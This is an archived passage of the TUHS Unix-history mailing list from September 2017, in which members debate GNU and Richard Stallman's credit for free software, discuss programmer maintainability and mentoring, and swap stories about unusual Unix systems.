In-Reply-To: <20170914213535.4ptpo7jtaem6x5tf@thunk.org>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <201709100944.v8A9iPeb024293@freefriends.org>
 <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193905.GD25914@wopr>
 <20170914213535.4ptpo7jtaem6x5tf@thunk.org>
Message-ID: <20170916034032.GO3272@mcvoy.com>

On Thu, Sep 14, 2017 at 05:35:35PM -0400, Theodore Ts'o wrote:
> On Thu, Sep 14, 2017 at 12:39:05PM -0700, Kurt H Maier wrote:
> > On Thu, Sep 14, 2017 at 12:15:32PM -0400, Steve Nickolas wrote:
> > > 
> > > Isn't that pretty much just Lennart Poettering and his fan club?
> > > 
> > 
> > It's right there in the name "GNU" as well.  There's a whole generation
> > of computer people out here for whom bash and gawk are fossilized in
> > their substrata, and they get mad when someone suggests maybe other
> > tools exist.
> 
> The use of "GNU" as in "GNU/Linux" is something that was pushed by
> Stallman and the Free Software Foundation, and actively abosed, or
> mostly ignored by the majority of the Linux community.  

As well it should be.  My colors are showing here, but I'm really sick
of the FSF slapping their name on other people's work.  If Stallman
wants it to be called GNU/Linux let him write a kernel.  He didn't,
he can't, yet he wants credit.  I got pretty disgusted back in the day
when everything that was GPLed suddenly became a GNU project.  The GNU
guys have written very, very little code.

They are all about the license, which is fine, but I get off the bus
when they are claiming credit for work they did not do.


From imp at bsdimp.com  Sat Sep 16 14:16:45 2017
From: imp at bsdimp.com (Warner Losh)
Date: Fri, 15 Sep 2017 22:16:45 -0600
Subject: [TUHS] Tools and building: libtool, autoconf,
 etc. [ trying to have a relevant subject line ]
In-Reply-To: <20170916033442.GN3272@mcvoy.com>
References: <024f01d32d98$9d134100$d739c300$@ronnatalie.com>
 <201709142100.v8EL05mL005253@elf.torek.net> <20170916033442.GN3272@mcvoy.com>
Message-ID: <CANCZdfo=n9voXobEDR3USQ6+eFvmNZnm-AZwSJ5Rt=MPiLKXQw@mail.gmail.com>

On Fri, Sep 15, 2017 at 9:34 PM, Larry McVoy <lm at mcvoy.com> wrote:

> On Thu, Sep 14, 2017 at 02:00:05PM -0700, Chris Torek wrote:
> > "Congratulations!  You're not running Eunice."
>
> Heh, I remember that :)  And I ran on Eunice back in the day.
>

That was a complicated world with the whole TGV vs TWG dueling licenses for
TCP on VMS...

And despite all that, I never actually ran anything on Eunice...

Warner
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170915/432c3ff2/attachment.html>

From dave at horsfall.org  Sat Sep 16 15:08:33 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Sat, 16 Sep 2017 15:08:33 +1000 (EST)
Subject: [TUHS] Tools and building: libtool, autoconf,
 etc. [ trying to have a relevant subject line ]
In-Reply-To: <20170916033442.GN3272@mcvoy.com>
References: <024f01d32d98$9d134100$d739c300$@ronnatalie.com>
 <201709142100.v8EL05mL005253@elf.torek.net> <20170916033442.GN3272@mcvoy.com>
Message-ID: <alpine.BSF.2.21.1709161500460.89458@aneurin.horsfall.org>

On Fri, 15 Sep 2017, Larry McVoy wrote:

>> "Congratulations!  You're not running Eunice."
>
> Heh, I remember that :)  And I ran on Eunice back in the day.

I resemble that remark :-)  I used to tell a boss that Eunice made VMS 
look civilised, and he growled back "No, it makes it look like Unix."

But that's what I said :-)

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."


From usotsuki at buric.co  Sat Sep 16 17:45:25 2017
From: usotsuki at buric.co (Steve Nickolas)
Date: Sat, 16 Sep 2017 03:45:25 -0400 (EDT)
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <20170916034032.GO3272@mcvoy.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <201709100944.v8A9iPeb024293@freefriends.org>
 <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193905.GD25914@wopr> <20170914213535.4ptpo7jtaem6x5tf@thunk.org>
 <20170916034032.GO3272@mcvoy.com>
Message-ID: <alpine.BSF.2.02.1709160344130.26967@frieza.hoshinet.org>

On Fri, 15 Sep 2017, Larry McVoy wrote:

> On Thu, Sep 14, 2017 at 05:35:35PM -0400, Theodore Ts'o wrote:
>> On Thu, Sep 14, 2017 at 12:39:05PM -0700, Kurt H Maier wrote:
>>> On Thu, Sep 14, 2017 at 12:15:32PM -0400, Steve Nickolas wrote:
>>>>
>>>> Isn't that pretty much just Lennart Poettering and his fan club?
>>>>
>>>
>>> It's right there in the name "GNU" as well.  There's a whole generation
>>> of computer people out here for whom bash and gawk are fossilized in
>>> their substrata, and they get mad when someone suggests maybe other
>>> tools exist.
>>
>> The use of "GNU" as in "GNU/Linux" is something that was pushed by
>> Stallman and the Free Software Foundation, and actively abosed, or
>> mostly ignored by the majority of the Linux community.
>
> As well it should be.  My colors are showing here, but I'm really sick
> of the FSF slapping their name on other people's work.  If Stallman
> wants it to be called GNU/Linux let him write a kernel.  He didn't,
> he can't, yet he wants credit.  I got pretty disgusted back in the day
> when everything that was GPLed suddenly became a GNU project.  The GNU
> guys have written very, very little code.
>
> They are all about the license, which is fine, but I get off the bus
> when they are claiming credit for work they did not do.
>

The GNU Project has a kernel, The HURD, but iirc, it's still as unusable 
now as it has been for decades.  Which is why Linux wound up being the 
de-facto kernel of the GNU system, even while The HURD is still their 
official kernel.

-uso.


From ron at ronnatalie.com  Sat Sep 16 22:59:23 2017
From: ron at ronnatalie.com (Ron Natalie)
Date: Sat, 16 Sep 2017 08:59:23 -0400
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <20170916034032.GO3272@mcvoy.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <201709100944.v8A9iPeb024293@freefriends.org>
 <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193905.GD25914@wopr> <20170914213535.4ptpo7jtaem6x5tf@thunk.org>
 <20170916034032.GO3272@mcvoy.com>
Message-ID: <03c101d32eeb$9f4444c0$ddccce40$@ronnatalie.com>

RMS hates UNIX.   That was clear in the original manifesto.   But he's also
a megalomaniac and believes that if you even use a GNU tool your work
becomes his.



From toby at telegraphics.com.au  Sun Sep 17 04:05:14 2017
From: toby at telegraphics.com.au (Toby Thain)
Date: Sat, 16 Sep 2017 14:05:14 -0400
Subject: [TUHS] How do we learn about maintainability - was Re: really
 Pottering vs UNIX
In-Reply-To: <201709151910.v8FJAIuv025809@elf.torek.net>
References: <201709151910.v8FJAIuv025809@elf.torek.net>
Message-ID: <deb5d145-90d7-c9ed-0984-9238e30d2308@telegraphics.com.au>

On 2017-09-15 3:10 PM, Chris Torek wrote:
>> ... He made the point that a good program never dies, and many
>> people will read it and modify it and try to understand it, and
>> it's almost a professional duty to make sure that you
>> make this as easy as possible for them.  

+1

> 
> This is true of many good programs.
> 
> On the other hand, many programs are not good programs.  And it
> winds up being true of many bad programs too. :-)
> 
>> Maybe a guild is a bit too stuffy, but being mentored by someone
>> with their head screwed on straight, and consequently making a
>> point to seek out excellent examples of the programming art and
>> learn from them had a profound effect on my skill as a programmer
>> and my career.
> 
>> I don't think I would have found this in a book or long midnight
>> hours hacking away...
> 
> I'm not so sure: I learned some of this myself when working on my
> Z80 assembler written in (some Microsoft variant of) BASIC.
> Because it was such a terrible language, I had to keep a master
> "notes" table giving each subroutine's line numbers, input
> variables, and output variables (no call-by-anything in BASIC so I
> had to stuff a register name like "BC" "DE" "HL" "IX" "IY" into
> one global variable, "GOSUB 10100", and take the result back in
> more global variables).
> 
> Nonetheless, it's true that seeing / recognizing "good" vs "bad"
> software is a valuable pattern matching skill.  As with all such
> things, the best trick I've ever discovered is not just to learn
> from my own mistakes, but to learn from *other people*'s mistakes
> too!

YES - this is why I believe being a maintenance programmer on other
people's code is so important; you'll be left with a real understanding
of why good practice is important, and, quite likely, a fiery desire to
try to make things better.

I think any junior programmer would benefit from at least five years of
maintenance experience. Giving them greenfield projects out of the gate,
especially unsupervised, merely adds to the pile of unmaintainable stuff
- while teaching them very little.

--Toby

> 
> Chris
> 



From akosela at andykosela.com  Sun Sep 17 04:19:24 2017
From: akosela at andykosela.com (Andy Kosela)
Date: Sat, 16 Sep 2017 20:19:24 +0200
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <03c101d32eeb$9f4444c0$ddccce40$@ronnatalie.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <201709100944.v8A9iPeb024293@freefriends.org>
 <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193905.GD25914@wopr>
 <20170914213535.4ptpo7jtaem6x5tf@thunk.org> <20170916034032.GO3272@mcvoy.com>
 <03c101d32eeb$9f4444c0$ddccce40$@ronnatalie.com>
Message-ID: <CALMnNGhPW5rurC1uuOfHYaxE7CXV+C7gR8P2OUqyn93hnFw_jg@mail.gmail.com>

On Saturday, September 16, 2017, Ron Natalie <ron at ronnatalie.com> wrote:

> RMS hates UNIX.   That was clear in the original manifesto.


There can be some truth in it -- after all he came from MIT, which was
anti-unix as much as you can get.

When you say MIT you think about ITS and Lisp.  That is why emacs IMHO
was against UNIX ideals.  RMS was thinking in different terms than Bell
Labs hackers.

--Andy
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170916/8ebb6252/attachment.html>

From jon at fourwinds.com  Sun Sep 17 05:12:46 2017
From: jon at fourwinds.com (Jon Steinhart)
Date: Sat, 16 Sep 2017 12:12:46 -0700
Subject: [TUHS] Maintainability, Guilds, RMS, etc. all lumped into one
In-Reply-To: <deb5d145-90d7-c9ed-0984-9238e30d2308@telegraphics.com.au>
References: <201709151910.v8FJAIuv025809@elf.torek.net>
 <deb5d145-90d7-c9ed-0984-9238e30d2308@telegraphics.com.au>
Message-ID: <201709161912.v8GJCkbS013082@darkstar.fourwinds.com>

Well, here I go trying to be the voice of reason.  Not my natural state :-)

Can't see any good coming out of RMS bashing.  I'm one of those who thinks
that GNU/Linux is absurd; RMS had nothing to do with Linux.  I can imagine
that, like many of our peers, he has ego issues may feel slighted that Linus
gets more media attention than he does.  Maybe he would be happy if anything
built with GNU tools would append a tag line equivalent to the bandwidth-
wasting "sent from my iPhone" stuff on emails.  All that aside, he has had a
huge and positive influence with the GPL and by making many of the tools that
we all depend on available for free.  I remember that when I switched from
SunOS to Solaris that Sun started charging for the C compiler and I was very
happy to have gcc available.

I would claim that the issues of maintainability, guilds or other standards
for programmers, etc. is really a management issue.  And it's exacerbated by
what I have observed about management which is that it's not about managing
any more.  Since managers are theoretically responsible for programmers
sensible things don't happen when the managers are not competent.  Nothing
says it more than the Chief Security Officer at Equifax being a music major
with no relevant skills.  What could possibly go wrong?

Managers don't care about maintainability today, and I'm not sure that it
would matter if they did.  When I started working there was an expectation
that one would look after one's employer's interests and the employer would
look after yours.  That's pretty much gone for a number of reasons.  Few
programmers are going to worry about maintainability when they expect to
change jobs frequently.

As an aside, one of the reasons why I chose to work for myself is that I got
spoiled by having awesome management on my first job.  I remember Hank Macdonald
who I think was co-director of whatever branch of area 10 in which I was working
at BTL pulling up a chair next to me at 3AM one late night/early morning and
asking me how it was going.  I told him great except for some problems with
display flicker at which I was staring.  He thought about it for about 30 seconds
and said "I'll bet your delay constants are too big."  He was right.  I realized
that he was a director because he had mastered everything that everyone under him
was doing, not because he couldn't.  All other managers that I've had since were
Peter Principled.  Oh, and under Hank I had Joe Condon as a supervisor which was
another amazing experience.

When I went to work at Tektronix I had an expectation that I'd spend my entire
career there.  Of course, shortly after I started the technical founder was
replaced by an uneducated bean counter who looted the company.

But, I remember a day when someone who sat near me celebrated ER (engineering
release), which meant that his product went to manufacturing.  A day or two
later someone from manufacturing was sitting in the chair by his desk asking
questions.  This happened for a week or so and then that engineer's desk got
moved down into manufacturing.  I observed this and told myself that I would
never let that happen to me.

Another thing from Tek was that we supported products for ten years after ship.
That made maintainability and reliability important.  When someone makes a web
page component that's going to be around for a few months at best it's hard to
justify spending dollars on maintainability.

Final thing on this thread: get used to it.  As with any field, programming is
a commodity item now.  It's not a field populated primarily by people with PhDs.
Think about the number of baristas who were hired as programmers during the
.com boom.  And the "everybody must learn to code in high school" movement
is not about making more programmers like the ones on this list.  It's about
calling people programmers who don't even have the prerequisite skill of knowing
how to coffee drinks.  It's still a management problem because these people are
being hired to do jobs for which they really don't have the skill.  It's part
of the hollowing out of America; we still have great sounding names for a lot
of things that no longer really exist.

Fortunately for people like me, companies often get in serious trouble and need
someone who knows about bits and cycles and interrupts and propagation delay and
so on.  Good for the toy budget.

I'll illustrate this with an emergency job that I did a few years ago.  I was
hired to get something working with a hard 3 week deadline where the person who
had done the original work claimed that everything worked but it only worked
for him; nobody else could get it to work.  One of the things that I noticed
was that the absolute maximum electrical values on one of the parts was being
exceeded.  Mentioned it to the CTO who looked at it and told me that she had
looked at the circuit diagrams of the chips and wasn't worried.  I responded
with "I guess you've never worked at a company where you were responsible for
warranty repairs."  Turns out that she hadn't.  On the software side, I replaced
around 8,000 lines of undocumented code with about 300 lines including comments
and whitespace that did the job.  Probably less than 100 lines of actual code.
I see this over and over with the "we'll just import packages and make library
calls and call it programming" mentality.

BTW, it's not just software.  On this same project there was a problem internal
to the Atmel SOC.  Turns out that Atmel had just purchased a bunch of IP and
glued it together on the chip and even they didn't know the particular detail
that I needed.  Took several months of escalation to finally get it resolved.

Jon


From arnold at skeeve.com  Sun Sep 17 05:20:00 2017
From: arnold at skeeve.com (arnold at skeeve.com)
Date: Sat, 16 Sep 2017 13:20:00 -0600
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <20170916034032.GO3272@mcvoy.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <201709100944.v8A9iPeb024293@freefriends.org>
 <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193905.GD25914@wopr>
 <20170914213535.4ptpo7jtaem6x5tf@thunk.org>
 <20170916034032.GO3272@mcvoy.com>
Message-ID: <201709161920.v8GJK0ec020998@freefriends.org>

Larry McVoy <lm at mcvoy.com> wrote:

> The GNU guys have written very, very little code.

Um, let's see: Bash. gawk. sed. grep. coreutils. binutils. gcc. ...
Essentially everything that was used from the command line on a
standard Unix system. All reimplemented from scratch.

Many GNU maintainers are active (directly or indirectly) in the
POSIX standard efforts which influences all Unix implementations.

> They are all about the license, which is fine, but I get off the bus
> when they are claiming credit for work they did not do.

This not true of ALL the GNU project maintainers.  Don't tar everyone
with RMS's brush.

'nuff said,

And, IMHO, all this is WAY off topic and probably should be brought
to a close.

Arnold


From david at kdbarto.org  Sun Sep 17 06:09:30 2017
From: david at kdbarto.org (David)
Date: Sat, 16 Sep 2017 13:09:30 -0700
Subject: [TUHS] really Pottering vs UNIX
In-Reply-To: <mailman.1021.1505464341.3779.tuhs@minnie.tuhs.org>
References: <mailman.1021.1505464341.3779.tuhs@minnie.tuhs.org>
Message-ID: <36EA6EA0-D292-4042-A2B0-AC370DA930E8@kdbarto.org>

On Sep 15, 2017, at 1:32 AM, tuhs-request at minnie.tuhs.org wrote:
> 
> From: "Steve Johnson" <scj at yaccman.com>
> To: "Dan Cross" <crossd at gmail.com>, "Bakul Shah" <bakul at bitblocks.com>
> Cc: "TUHS main list" <tuhs at minnie.tuhs.org>
> Subject: Re: [TUHS] really Pottering vs UNIX
> Message-ID:
> 	<d92047c5a36c6e72bd694322acb4ff33e3835f9f at webmail.yaccman.com>
> Content-Type: text/plain; charset="utf-8"
> 
> 
> 
> More to do with a sense for quality. Often developed through
> experience
> (but not just that). I think what we need is a guild system for
> programmers/engineers. Being an apprentice of a master craftsman is
> essential for learning this "good taste" as you call it.
> 
> Back when I was writing FORTRAN, I was
> working for a guy with very high standards who read my code and got me
> to comment or, more usually, rewrite all the obscure things I did.
>  He made the point that a good program never dies, and many people
> will read it and modify it and try to understand it, and it's almost a
> professional duty to make sure that you make this as easy as possible
> for them.  
> 

When I taught at UCSD I always made it a point to inform the students
that the person who will be maintaining their programs in the future will
all be reformed axe murderers. These nice folks learned C (at the time)
on MS-DOS 3.1 and weren’t as homicidal as they used to be. They would
however be given your home address and phone number in case they
had questions about your code.

It was always good for a laugh and I went on to explain how code outlives
the author and so you should take care to make it easy for someone else
to work on your code.

The other thing I did was to have students give their programs half
way through the project to a randomly chosen (by me) other student.
They were not allowed to assist the recipient and grades were based
on how well the final program met the requirements given at the beginning
of the project. Code quality went way up on the second project compared
to the first.

	David



From lm at mcvoy.com  Sun Sep 17 11:43:49 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Sat, 16 Sep 2017 18:43:49 -0700
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <201709161920.v8GJK0ec020998@freefriends.org>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <201709100944.v8A9iPeb024293@freefriends.org>
 <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193905.GD25914@wopr>
 <20170914213535.4ptpo7jtaem6x5tf@thunk.org>
 <20170916034032.GO3272@mcvoy.com>
 <201709161920.v8GJK0ec020998@freefriends.org>
Message-ID: <20170917014349.GW3272@mcvoy.com>

I stand by my comment.  I'm friends with the Cygnus folks, they would
tend to agree with me I think.

All that stuff you listed, can you list the things that the GNU/FSF
people have funded?  Because I think there is close to nothing.  All of
that stuff is stuff that came under the GNU umbrella but they didn't do
the coding.

I give credit to RMS for the GPL, that was cool.  But claiming credit
for stuff that GNU/FSF didn't do was not cool.

On Sat, Sep 16, 2017 at 01:20:00PM -0600, arnold at skeeve.com wrote:
> Larry McVoy <lm at mcvoy.com> wrote:
> 
> > The GNU guys have written very, very little code.
> 
> Um, let's see: Bash. gawk. sed. grep. coreutils. binutils. gcc. ...
> Essentially everything that was used from the command line on a
> standard Unix system. All reimplemented from scratch.
> 
> Many GNU maintainers are active (directly or indirectly) in the
> POSIX standard efforts which influences all Unix implementations.
> 
> > They are all about the license, which is fine, but I get off the bus
> > when they are claiming credit for work they did not do.
> 
> This not true of ALL the GNU project maintainers.  Don't tar everyone
> with RMS's brush.
> 
> 'nuff said,
> 
> And, IMHO, all this is WAY off topic and probably should be brought
> to a close.
> 
> Arnold

-- 
---
Larry McVoy            	     lm at mcvoy.com             http://www.mcvoy.com/lm 


From jon at fourwinds.com  Sun Sep 17 11:55:47 2017
From: jon at fourwinds.com (Jon Steinhart)
Date: Sat, 16 Sep 2017 18:55:47 -0700
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <20170917014349.GW3272@mcvoy.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <201709100944.v8A9iPeb024293@freefriends.org>
 <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193905.GD25914@wopr> <20170914213535.4ptpo7jtaem6x5tf@thunk.org>
 <20170916034032.GO3272@mcvoy.com>
 <201709161920.v8GJK0ec020998@freefriends.org>
 <20170917014349.GW3272@mcvoy.com>
Message-ID: <201709170155.v8H1tlOw001950@darkstar.fourwinds.com>

On Sat, Sep 16, 2017 at 01:20:00PM -0600, arnold at skeeve.com wrote:
>
> This not true of ALL the GNU project maintainers.  Don't tar everyone
> with RMS's brush.

What are we supposed to to then?  cpio?


From imp at bsdimp.com  Sun Sep 17 12:14:47 2017
From: imp at bsdimp.com (Warner Losh)
Date: Sat, 16 Sep 2017 20:14:47 -0600
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <201709170155.v8H1tlOw001950@darkstar.fourwinds.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <201709100944.v8A9iPeb024293@freefriends.org>
 <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193905.GD25914@wopr>
 <20170914213535.4ptpo7jtaem6x5tf@thunk.org> <20170916034032.GO3272@mcvoy.com>
 <201709161920.v8GJK0ec020998@freefriends.org>
 <20170917014349.GW3272@mcvoy.com>
 <201709170155.v8H1tlOw001950@darkstar.fourwinds.com>
Message-ID: <CANCZdfqxmu8_5uEmwL9jwkSgUK47fp2f1isLvLVGm=sZEC+dGw@mail.gmail.com>

On Sat, Sep 16, 2017 at 7:55 PM, Jon Steinhart <jon at fourwinds.com> wrote:

> On Sat, Sep 16, 2017 at 01:20:00PM -0600, arnold at skeeve.com wrote:
> >
> > This not true of ALL the GNU project maintainers.  Don't tar everyone
> > with RMS's brush.
>
> What are we supposed to to then?  cpio?
>

I think libarchive has largely replaced all that and understands zip, lzh,
etc.

Warner
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170916/6c729829/attachment.html>

From lm at mcvoy.com  Sun Sep 17 12:18:50 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Sat, 16 Sep 2017 19:18:50 -0700
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <CANCZdfqxmu8_5uEmwL9jwkSgUK47fp2f1isLvLVGm=sZEC+dGw@mail.gmail.com>
References: <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193905.GD25914@wopr>
 <20170914213535.4ptpo7jtaem6x5tf@thunk.org>
 <20170916034032.GO3272@mcvoy.com>
 <201709161920.v8GJK0ec020998@freefriends.org>
 <20170917014349.GW3272@mcvoy.com>
 <201709170155.v8H1tlOw001950@darkstar.fourwinds.com>
 <CANCZdfqxmu8_5uEmwL9jwkSgUK47fp2f1isLvLVGm=sZEC+dGw@mail.gmail.com>
Message-ID: <20170917021850.GX3272@mcvoy.com>

On Sat, Sep 16, 2017 at 08:14:47PM -0600, Warner Losh wrote:
> On Sat, Sep 16, 2017 at 7:55 PM, Jon Steinhart <jon at fourwinds.com> wrote:
> 
> > On Sat, Sep 16, 2017 at 01:20:00PM -0600, arnold at skeeve.com wrote:
> > >
> > > This not true of ALL the GNU project maintainers.  Don't tar everyone
> > > with RMS's brush.
> >
> > What are we supposed to to then?  cpio?
> >
> 
> I think libarchive has largely replaced all that and understands zip, lzh,
> etc.

I think you missed Jon's joke.  If you want more of that, check out this
thread:

https://www.reddit.com/r/IAmA/comments/70arwl/i_am_john_cleese_writer_actor_and_tall_person_ama/


From itz at very.loosely.org  Sun Sep 17 15:13:30 2017
From: itz at very.loosely.org (Ian Zimmerman)
Date: Sat, 16 Sep 2017 22:13:30 -0700
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <201709170155.v8H1tlOw001950@darkstar.fourwinds.com>
References: <201709100944.v8A9iPeb024293@freefriends.org>
 <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193905.GD25914@wopr>
 <20170914213535.4ptpo7jtaem6x5tf@thunk.org>
 <20170916034032.GO3272@mcvoy.com>
 <201709161920.v8GJK0ec020998@freefriends.org>
 <20170917014349.GW3272@mcvoy.com>
 <201709170155.v8H1tlOw001950@darkstar.fourwinds.com>
Message-ID: <20170917051330.t6ghzfqnuewndxgp@matica.foolinux.mooo.com>

On 2017-09-16 18:55, Jon Steinhart wrote:

> > This not true of ALL the GNU project maintainers.  Don't tar everyone
> > with RMS's brush.
> 
> What are we supposed to to then?  cpio?

pax posixana!

-- 
Please don't Cc: me privately on mailing lists and Usenet,
if you also post the followup to the list or newsgroup.
Do obvious transformation on domain to reply privately _only_ on Usenet.


From arnold at skeeve.com  Sun Sep 17 15:19:51 2017
From: arnold at skeeve.com (arnold at skeeve.com)
Date: Sat, 16 Sep 2017 23:19:51 -0600
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <20170917014349.GW3272@mcvoy.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <201709100944.v8A9iPeb024293@freefriends.org>
 <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193905.GD25914@wopr>
 <20170914213535.4ptpo7jtaem6x5tf@thunk.org>
 <20170916034032.GO3272@mcvoy.com>
 <201709161920.v8GJK0ec020998@freefriends.org>
 <20170917014349.GW3272@mcvoy.com>
Message-ID: <201709170519.v8H5JpKx003398@freefriends.org>

RMS wrote GCC initially.  And Emacs if that's what you use. And GDB
initially as well. RMS did Texinfo (even if you don't like it yourself,
it's a very nice markup language).

Bash, gawk, sed, grep, coreutils were (and still are) maintained by
unpaid volunteers, true, but they all were started for the GNU project.
(Bash in the early days may have been funded by the FSF.)

You're welcome to stand by your comment, but --- as a GNU maintainer for
close to 30 years --- I think you paint with too broad a brush.

More than enough said,

Arnold

Larry McVoy <lm at mcvoy.com> wrote:

> I stand by my comment.  I'm friends with the Cygnus folks, they would
> tend to agree with me I think.
>
> All that stuff you listed, can you list the things that the GNU/FSF
> people have funded?  Because I think there is close to nothing.  All of
> that stuff is stuff that came under the GNU umbrella but they didn't do
> the coding.
>
> I give credit to RMS for the GPL, that was cool.  But claiming credit
> for stuff that GNU/FSF didn't do was not cool.
>
> On Sat, Sep 16, 2017 at 01:20:00PM -0600, arnold at skeeve.com wrote:
> > Larry McVoy <lm at mcvoy.com> wrote:
> > 
> > > The GNU guys have written very, very little code.
> > 
> > Um, let's see: Bash. gawk. sed. grep. coreutils. binutils. gcc. ...
> > Essentially everything that was used from the command line on a
> > standard Unix system. All reimplemented from scratch.
> > 
> > Many GNU maintainers are active (directly or indirectly) in the
> > POSIX standard efforts which influences all Unix implementations.
> > 
> > > They are all about the license, which is fine, but I get off the bus
> > > when they are claiming credit for work they did not do.
> > 
> > This not true of ALL the GNU project maintainers.  Don't tar everyone
> > with RMS's brush.
> > 
> > 'nuff said,
> > 
> > And, IMHO, all this is WAY off topic and probably should be brought
> > to a close.
> > 
> > Arnold
>
> -- 
> ---
> Larry McVoy            	     lm at mcvoy.com             http://www.mcvoy.com/lm 


From wkt at tuhs.org  Sun Sep 17 17:03:16 2017
From: wkt at tuhs.org (Warren Toomey)
Date: Sun, 17 Sep 2017 17:03:16 +1000
Subject: [TUHS] And now ... Weirdnix?
Message-ID: <8AA943A2-D6C0-4812-9C16-C09D1298754F@tuhs.org>

And now, we bring the RMS/Gnu thread to a close :-)

To kick a more relevant thread off, what was the "weirdest" Unix system you used & why? Could be an emulation like Eunice, could  be the hardware e.g NULL was not zero, NUXI byte ordering etc.

Cheers, Warren
-- 
Sent from my Android phone with K-9 Mail. Please excuse my brevity.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170917/f599647f/attachment.html>

From arnold at skeeve.com  Sun Sep 17 17:28:57 2017
From: arnold at skeeve.com (arnold at skeeve.com)
Date: Sun, 17 Sep 2017 01:28:57 -0600
Subject: [TUHS] And now ... Weirdnix?
In-Reply-To: <8AA943A2-D6C0-4812-9C16-C09D1298754F@tuhs.org>
References: <8AA943A2-D6C0-4812-9C16-C09D1298754F@tuhs.org>
Message-ID: <201709170728.v8H7SvbH014339@freefriends.org>

Warren Toomey <wkt at tuhs.org> wrote:

> To kick a more relevant thread off, what was the "weirdest" Unix system
> you used & why? Could be an emulation like Eunice, could  be the hardware
> e.g NULL was not zero, NUXI byte ordering etc.

AT&T 3B20 - *0 didn't segfault but brought in some weird value.

Pyramid Dual Universe - System V vs. BSD - why be forced to decide when
you can have your cake and eat it too?

Whatever Data General called their Unix layer on top of their native
OS for the Eclipse or whatever it was (32 bit system).

Eunice - we had it one place I worked but I didn't use it much.

I never got to work on more exotic systems such as Interdata
or Series 1.

Arnold


From davida at pobox.com  Sun Sep 17 18:10:37 2017
From: davida at pobox.com (David Arnold)
Date: Sun, 17 Sep 2017 18:10:37 +1000
Subject: [TUHS] And now ... Weirdnix?
In-Reply-To: <201709170728.v8H7SvbH014339@freefriends.org>
References: <8AA943A2-D6C0-4812-9C16-C09D1298754F@tuhs.org>
 <201709170728.v8H7SvbH014339@freefriends.org>
Message-ID: <DF8CEB2A-53A7-4513-B794-763CCA635B1B@pobox.com>

Helios: a Unix-like system running on Transputers (and TI C40, and a few others).

